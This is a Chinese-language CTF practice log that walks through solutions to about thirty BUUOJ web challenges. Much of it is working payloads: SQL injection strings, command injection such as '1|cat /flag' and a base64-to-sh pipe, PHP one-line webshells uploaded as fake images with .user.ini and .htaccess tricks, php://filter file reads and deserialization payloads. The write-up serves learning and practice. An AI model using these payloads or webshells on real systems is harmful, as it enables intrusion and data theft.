BUUOJ做题记录

[TOC]

3.17-3.23

[极客大挑战 2019]EasySQL

考点:sql注入,一个登录面板,直接开注,最基本的联合查询语句,得到flag

123456'and 0 union select 1,2,3#

[极客大挑战 2019]Havefun

考点:简单的php代码审计

进入题目环境,F12进行信息收集

<?php
    $cat=$_GET['cat'];
    echo $cat;
    if($cat=='dog'){
        echo 'Syc{cat_cat_cat_cat}';
    }

直接get请求发送数据/?cat=dog得到flag

[ACTF2020 新生赛]Include

考点:文件包含

进入环境,查看tips:Can you find out the flag? 应该是隐藏了。看到url上带参数/?file=想到php自带的协议,读取

php://filter/read=convert.base64-encode/resource=flag.php

得到base64字符,解码得到flag

[强网杯 2019]随便注

预编译注入

?inject=-1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#

handler注入

';handler `1919810931114514` open;handler `1919810931114514` read first#

修改表名,再次访问

/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;%23

[SUCTF 2019]EasySQL

sql=“select”.post[‘query’]."||flag from Flag";
*,1

[ACTF2020 新生赛]Exec

尝试直接或执行命令

1|ls /
1|cat /flag

得到flag

[极客大挑战 2019]Secret File

先找到下方的第一个入口,直接框选可得。

然后打开burpsuite抓包,捕获到

<html>
<!--
   secr3t.php        
-->
</html>

打开文件secr3t.php

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

先使用?file=flag.php,提示:啊哈!你找到我了!可是你看不到我QAQ~~~

使用php://filter/read=convert.base64-encode/resource=flag.php读取文件,解码得flag

<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{aab4c481-90e9-4d1f-a9f5-66a47ff4e125}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>

[GXYCTF2019]Ping Ping Ping

|tac$IFS$9`find$IFS$9/$IFS$9-inum$IFS$9128979034`
cat$IFS$9`find$IFS$9-inum$IFS$128979034`
?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

[极客大挑战 2019]LoveSQL

1' union select 1,2,table_name from information_schema.tables where table_schema=database()

' union select 1,column_name,1 from information_schema.columns#

表名geekuser l0ve1ysq1

列名id username password

' union select 1,2,group_concat(username) from geek.l0ve1ysq1

1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from geek.l0ve1ysq1

// 将1和2通过~(十六进制形式)连接
// 类似:username~password
group_concat(concat_ws(0x7e,1,2))

flag{4c4cb9b3-31f1-41c5-a224-45e74bf3f079}

[极客大挑战 2019]Knife

进入题目环境,得到白给的shell

eval($_POST["Syc"]);

使用中国蚁剑进行连接,打开虚拟终端,cat /flag得到flag

[极客大挑战 2019]Http

打开F12进行信息搜集,找到语句

<a style="border:none;cursor:default;" onclick="return false" href="Secret.php">氛围</a>

进入文件Secret.php,提示It doesn't come from 'https://Sycsecret.buuoj.cn',考点简单的伪造头文件

于是打开burpsuite抓包

GET /Secret.php HTTP/1.1Host: node4.buuoj.cn:28636Upgrade-Insecure-Requests: 1User-Agent:SycloverAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closereferer: https://Sycsecret.buuoj.cnX-Forwarded-For: 127.0.0.1

[极客大挑战 2019]Upload

文件上传,(我发现我传个图片文件它都认为不是图片qaq)

上传一个php文件试试,<?php @eval($_POST['pass'])

发现not image

然后改请求头:Content-Type改为image/jpeg文件头加上GIF89a,还是不行,过滤了<?php

使用javascript语句内含php的方法,

POST /upload_file.php HTTP/1.1
Host: 3652e454-9534-4d86-8d05-6e0a04edeb41.node4.buuoj.cn:81
Content-Length: 341
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://3652e454-9534-4d86-8d05-6e0a04edeb41.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqfL6Q15plaA2AiGz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://3652e454-9534-4d86-8d05-6e0a04edeb41.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryqfL6Q15plaA2AiGz
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/jpeg

GIF89a
<script language='php'>eval($_POST['pass']);</script>
------WebKitFormBoundaryqfL6Q15plaA2AiGz
Content-Disposition: form-data; name="submit"

鎻愪氦
------WebKitFormBoundaryqfL6Q15plaA2AiGz--

猜测路径在upload目录下,然后使用中国蚁剑连接,在根目录下找到flag

[ACTF2020 新生赛]Upload

打开题目环境,发现中间的电灯泡可以上传文件,上传一个jpg格式文件抓包修改

POST / HTTP/1.1
Host: 9eb299a6-4a82-4e18-ba2a-a507c8b376f3.node4.buuoj.cn:81
Content-Length: 349
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://9eb299a6-4a82-4e18-ba2a-a507c8b376f3.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ackejNpKAlVa6Oh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://9eb299a6-4a82-4e18-ba2a-a507c8b376f3.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary8ackejNpKAlVa6Oh
Content-Disposition: form-data; name="upload_file"; filename="101.phtml"
Content-Type: image/png

GIF89a
<script language='php'>eval($_POST['pass']);</script>
------WebKitFormBoundary8ackejNpKAlVa6Oh
Content-Disposition: form-data; name="submit"

upload
------WebKitFormBoundary8ackejNpKAlVa6Oh--

上传成功,给出地址,直接使用中国蚁剑连接

打开虚拟终端,cat /flag得到flag

[RoarCTF 2019]Easy Calc

$('#calc').submit(function(){
    $.ajax({
        url:"calc.php?num="+encodeURIComponent($("#content").val()),
        type:'GET',
        success:function(data){
            $("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
        },
        error:function(){
            alert("这啥?算不来!");
        }
    })
    return false;
})

一顿操作无果,上网查询线索

这是别人对PHP字符串解析漏洞的理解,
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0–

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。

HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符

2.将某些字符转换为下划线(包括空格)

因此,当我们输入%20num=a时,不会产生报错。

找到了绕过方法,接下来准备查询

使用scandir()列出 参数目录 中的文件和目录,由于/被过滤,使用chr(47)绕过

payload=?%20num=1;var_dump(scandir(chr(47)))

得到

1array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

payload=?%20num=1;var_dump(scandir(chr(47)))

使用file_get_contents读文件内容

?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[极客大挑战 2019]BabySQL

6'uniounionn sselectelect 3,1,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()##

表名 b4bsql,geekuser

6'uniounionn sselectelect 3,1,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database()##

列名id,username,password,id,username,password

6'uniounionn sselectelect group_concat(passwoorrd) frfromom geek.b4bsql ##

flag{ee9d85b4-9810-4211-95bc-930f7b47926d}

[极客大挑战 2019]PHP

一顿操作无果,试过了~与.bak,无备份文件。

了解到需要使用dirsearch爆破,得出www.zip

下载后打开,找到关键文件

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

经典的php反序列化

<?php
$A = new Name('admin',100);
$b = serialize($A);
echo urlencode($b);

用urlencode是为了防止复制漏掉字符

payload:O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

绕过wake函数也是常见的姿势,改参数数,最终payload

O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

select参数get方法传入得到flag

[ACTF2020 新生赛]BackupFile

做上一题的时候~和.bak文件都没用,所以做这题索性没试,直接拿dirsearch扫了一遍,发现就是index.php.bak (可恶~)

文件内容如下

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

众所周知 123="123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"

所以直接key=123得到flag

[护网杯 2018]easy_tornado

之前做过,tornado模板注入,利用错误页面的msg={{handler.settings}}得到cookie_secret,然后对flag文件编码整合,直接访问便得到flag

cookie_secret: fc7afda9-8b83-49c0-89b6-4763b34431ea

flag in /fllllllllllllag

md5("fc7afda9-8b83-49c0-89b6-4763b34431ea"+md5("/fllllllllllllag"))

/fllllllllllllag
flag{bc647df9-7f91-4932-b6be-4393c9d83a8b}

至于为什么用handler.settings暂时不明,在官网找过源码,没找到handler.settings与cookie_secret的联系(可能我看的不够认真)

[极客大挑战 2019]BuyFlag

先F12进行信息搜集,发现php代码

<!--
    ~~~post money and password~~~
if (isset($_POST['password'])) {
    $password = $_POST['password'];
    if (is_numeric($password)) {
        echo "password can't be number</br>";
    }elseif ($password == 404) {
        echo "Password Right!</br>";
    }
}
-->

抓包修改为post请求

POST /pay.php HTTP/1.1
Host: 83be44b5-8c83-4e1b-9128-ac4cf86ff6dd.node4.buuoj.cn:81
Content-Length: 33
Cookie: user=1
Content-Type: application/x-www-form-urlencoded

password=404a &money[]=1000000000

password=404a来绕过is_numeric和双等号

Cookie: user=1来使服务器判断我们是成员

直接money=1000000000会触发输入数字太长,用数组绕过money[]=1000000000

得到flag

[BJDCTF2020]Easy MD5

题目比较难,卡在第一步没做出来

select * from 'admin' where password=md5($pass,true)

md5(string,true) true原始16字符2进制模式 false默认32字符16进制数

题解用ffifdyop绕过,因为MD5(ffifdyop)的字符形式是'or'6]!r,b能绕过上语句

接下来的题目就比较简单

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b))

想到两种方法,数组绕过和md5碰撞

?a[]=1&b[]=0

?a=QNKCDZO&b=240610708

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

这里依然可以使用数组绕过,burpsuite抓个包然后改一下post请求得到flag

param1[]=1¶m2[]=2

[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

php代码审计file_get_contents用php://input绕过

POST /?text=php://input HTTP/1.1
Host: 772fdd22-bbc8-48bd-a581-2fe838a02b5b.node4.buuoj.cn:81
Content-Length: 20

welcome to the zjctf

底下是一层文件包含,不能读flag,这里只能包含useless.php但是不会显示源码,所以要想想办法

这里想了一段时间,最后是看着file这个参数想到的,总觉得有点熟悉,以前做过的读文件的题目经常遇到这个参数

想到php://filter/read=convert.base64-encode/resource=useless.php

读出了文件,base64解码得

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

里面是一个反序列化,

$A= new Flag();$A->file="flag.php";$b = serialize($A);echo urlencode($b);

得到O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

password参数传入,最终payload为

POST /?text=php://input&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D HTTP/1.1
Host: 772fdd22-bbc8-48bd-a581-2fe838a02b5b.node4.buuoj.cn:81
Content-Length: 20

welcome to the zjctf

得到flag{f05adc24-8add-4fb8-881f-f06977afd9b8}

[SUCTF 2019]CheckIn

一道文件上传

一开始打算上传phtml文件,执行

<script language="php">eval($_POST['pass']);</script>

发现phtml被ban了,<?也被ban了,一时手足无措

随便传了几张图片,发现被保存在了同一目录下且目录下有一个index.php,而不是根据时间戳来更新目录。想点办法

看了这篇文章后有了思路

https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

用简单的话说,.user.ini会使该目录下的每个php文件加载auto_prepend_file=后的文件

可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。

.user.ini

GIF89a
auto_prepend_file=102.jpg

102.jpg

GIF89a
<script language="php">eval($_POST['pass']);</script>

然后使用中国蚁剑连接该目录下的index.php

启动虚拟终端cat /flag 得到flag

[极客大挑战 2019]HardSQL

被ban:union,空格,* and && || if = + substr > < ascii sleep handler

未ban:- or ,from extractvalue updatexml where

推测是使用报错注入

'or%20right(left(database(),1),1)#

1223'or(length(database()like(0)))#

'or(selEct(extractvalue(1,concat(0x7e,(selEct(database()))))))#

数据库名geek

'or(selEct(extractvalue(1,concat(0x7e,(selEct(@@version))))))#

版本号10.3.18-MariaDB

'or(selEct(extractvalue(1,concat(0x7e,(selEct(group_concat(table_name))from(information_schema.tables))))))#

'or(selEct(extractvalue(1,concat(0x7e,(selEct(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))))))#

表名H4rDsq1

'or(selEct(extractvalue(1,concat(0x7e,(selEct(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database()))))))#

列名id,username,password

'or(selEct(extractvalue(1,concat(0x7e,(selEct(group_concat(password))from(H4rDsq1))))))#

flag{a4d49ae6-12f0-4aae-8315-01

'or(selEct(extractvalue(1,concat(0x7e,(selEct(group_concat(right(password,30)))from(H4rDsq1))))))#

6-12f0-4aae-8315-01a9831ae0cb}

将flag拼接

flag{a4d49ae6-12f0-4aae-8315-01a9831ae0cb}

[MRCTF2020]你传你### 呢

一道文件上传,试了传一些php文件,过大的jpg,phtml文件还有.user.ini等都不行

居然不让用php,那肯定是要通过什么方式已php的方式执行非php文件才对

搜到可以使用.htaccess文件把.jpg解析成.php

AddType application/x-httpd-php .jpg

传入.jpg文件,内容

<?php eval($_POST['pass']);?>

然后用中国蚁剑连接到该.jpg文件,成功连接

在根目录下找到flag

[MRCTF2020]Ez_bypass

简单的php代码审计

<?php
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}

做烂了的技巧,数组绕过md5三等,数字加字符绕过is_numeric()

POST /?id[]=0&gg[]=1 HTTP/1.1
Host: 41659bfd-2295-41f1-bc35-131726c56188.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

passwd=1234567a

发送该请求得到flag

[GXYCTF2019]BabySQli

这题脑洞也太大了)

先在search.php页面源代码找到一串编码,解码得到提示

select * from user where username = '$name'

测了很多注入和绕过,发现密码那关一直过不了,且被ban了很多关键字,只有'union select 1,2,3#可以用,主要是()被ban了,觉得不可能注的出来了,需要转换思路。

一直没想出来,查了wp,考点是

​ 我们在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

​ 密码是md5加密的值(没有提示这脑洞太大了啊根本想不到

'union select 1,'admin',3#时会报wrong pass。所以username应该在第二个字段,推测password在第三个。

然后因为密码是md5加密的,我们利用联合查询,构造一个虚拟的数据。

'union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#

其中c4ca4238a0b923820dcc509a6f75849b是1的md5值,所以在password中输1即可登录admin

[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

先搞清楚流程,传入str参数,然后进入is_valid看str字符ascii是否在32到125之间。之后只会触发__destruct()函数op==="2"就换为"1"然后process(),在process()里如果op=="2"就read(),然后读出filename。容易注意到的点是这个==和===,这里让op=2就可以绕过了。

构造payload

O:11:"FileHandler":3:{s:5:".*.op";i:2;s:11:".*.filename";s:5:"/flag";s:10:".*.content";s:1:"%20";}

然后卡住了,因为cyberchef把%00解析成了.导致反序列化时这些参数都没初始化,然后又发现%00就意味着is_vaild()函数都过不了。

想了很久的办法,网上搜到可以使用一种简单的办法绕过:因为php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了

所以构造的payload为

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:5:"/flag";s:7:"content";s:1:"%20";}

这个时候还是读不出东西,要想个办法把flag从文件里读出来

看到熟悉的参数,立马想到

php://filter/read=convert.base64-encode/resource=flag.php

最终payload

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";s:1:" ";}

得到一串base64编码,解码得flag

<?php $flag='flag{26c87fc7-d09f-4f31-89e9-f3c87cf5805a}';

发表评论